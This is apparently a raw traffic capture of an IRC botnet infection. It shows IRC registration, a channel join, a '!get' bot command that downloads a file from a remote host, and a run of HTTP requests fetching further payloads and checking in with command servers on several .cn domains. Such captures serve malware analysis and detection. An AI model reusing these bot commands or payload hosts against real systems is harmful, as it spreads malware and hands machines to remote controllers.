VICTIM: NICK tztznbvfUSER f020501 . . :- ATTACKER: NICK tztznbvfUSER f020501 . . :-JOIN &virtu ATTACKER: :j. PRIVMSG tztznbvf :!get http:/dretis.cn/oc/box.txt VICTIM: GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: dretis.cnPragma: no-cache ATTACKER: GET /op/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: kritq.cnConnection: Keep-Alive ATTACKER: GET /bt5/fout.php HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: dretis.cnConnection: Keep-Alive ATTACKER: GET /lib/bot.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: dretis.cnConnection: Keep-Alive ATTACKER: GET /lib/abb.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: dretis.cnConnection: Keep-Alive ATTACKER: GET /ag/lo.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: onuka.cnConnection: Keep-Alive ATTACKER: GET /dll/mal.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: onuka.cnConnection: Keep-Alive ATTACKER: GET /40E8001430303030303030303030303030303030303031306C0000002B66000000007600000642EB00053068ADBCCA HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)Host: pnf20bp626t.comConnection: Keep-Alive